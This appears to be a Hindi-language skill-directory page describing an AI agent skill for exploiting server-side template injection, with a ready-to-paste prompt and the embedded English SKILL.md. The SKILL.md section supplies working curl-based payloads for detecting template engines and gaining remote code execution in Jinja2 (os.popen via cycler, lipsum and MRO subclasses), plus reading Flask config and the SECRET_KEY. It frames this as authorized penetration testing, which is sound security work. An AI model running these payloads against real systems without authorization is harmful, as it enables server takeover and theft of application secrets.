मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी35k · #7926

exploiting-template-injection-vulnerabilities

यह क्या करती है

यह टूल उन वेबसाइटों की सुरक्षा खामियाँ ढूंढने और उनका फायदा उठाने में मदद करता है, जो जानकारी दिखाने के लिए 'template engines' का इस्तेमाल करती हैं। यह खामी की पुष्टि के लिए सर्वर पर कमांड चलाने की कोशिश करता है, और फाइलें पढ़ने या कमांड चलाने तक जा सकता है।

कब इस्तेमाल करें

  • ✓अनुमति लेकर वेबसाइट की सुरक्षा जांचते समय।
  • ✓जब वेबसाइट यूज़र का दिया डेटा फॉर्म या संदेशों जैसी जगहों पर दिखाती हो।
  • ✓यह जांचने के लिए कि क्या template की खामी से सर्वर की फाइलें पढ़ी या कमांड चलाई जा सकती हैं।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-template-injection-vulnerabilities/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“example.com पर template injection की खामियाँ जांचो।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

टूल वेबसाइट को खास टेक्स्ट (payloads) भेजता है, जिन्हें template engine प्रोसेस करता है। अगर वेबसाइट अनपेक्षित तरीके से जवाब दे, जैसे किसी गणित के हिसाब का नतीजा दिखाए, तो यह संभावित खामी का संकेत है जिसका फायदा उठाया जा सकता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Exploiting Template Injection Vulnerabilities

When to Use

  • During authorized penetration tests when user input is rendered through a server-side template engine
  • When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
  • For assessing applications that allow users to customize templates or notification messages
  • When identifying potential SSTI in parameters that reflect arithmetic results (e.g., {{7*7}} returns 49)
  • During security assessments of CMS platforms, marketing tools, or any application with templating functionality

Prerequisites

  • Authorization: Written penetration testing agreement with RCE testing scope
  • Burp Suite Professional: For intercepting and modifying template parameters
  • tplmap: Automated SSTI exploitation tool (git clone https://github.com/epinna/tplmap.git)
  • SSTImap: Modern SSTI scanner (pip install sstimap)
  • curl: For manual SSTI payload testing
  • Knowledge of template engines: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty

Workflow

Step 1: Identify Template Injection Points

Find parameters where user input is processed by a template engine.

# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present

# Universal detection payloads
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates

Step 2: Identify the Template Engine

Determine which template engine is in use to select the appropriate exploitation technique.

# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)

# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask

# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker

# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity

# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty

# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble

# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"

Step 3: Exploit Jinja2 (Python/Flask)

Achieve code execution through Jinja2 template injection.

# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"

# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# File read via Jinja2

…
अक्सर पूछे जाने वाले सवाल

'template engine' क्या है?

यह एक ऐसा सिस्टम है जो स्थिर सामग्री को बदलती जानकारी, जैसे यूज़रनेम या फॉर्म डेटा, के साथ मिलाकर डायनामिक वेब पेज बनाने में मदद करता है।

'template injection' क्या है?

यह एक सुरक्षा खामी है, जिसमें हमलावर template engine के ज़रिए खतरनाक कमांड या कोड डाल सकता है, जिसे सर्वर फिर चला देता है।

क्या इस टूल को इस्तेमाल करने के लिए अनुमति चाहिए?

हाँ, किसी भी सिस्टम की जांच से पहले साफ लिखित अनुमति लेना बहुत ज़रूरी है, क्योंकि बिना अनुमति खामियों का फायदा उठाना गैरकानूनी है।

जानकारी

लेखक का मूल विवरण

Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. Use when pentesting a web application that renders user input through a server-side template engine and you need to confirm and weaponize SSTI.

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#7926
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills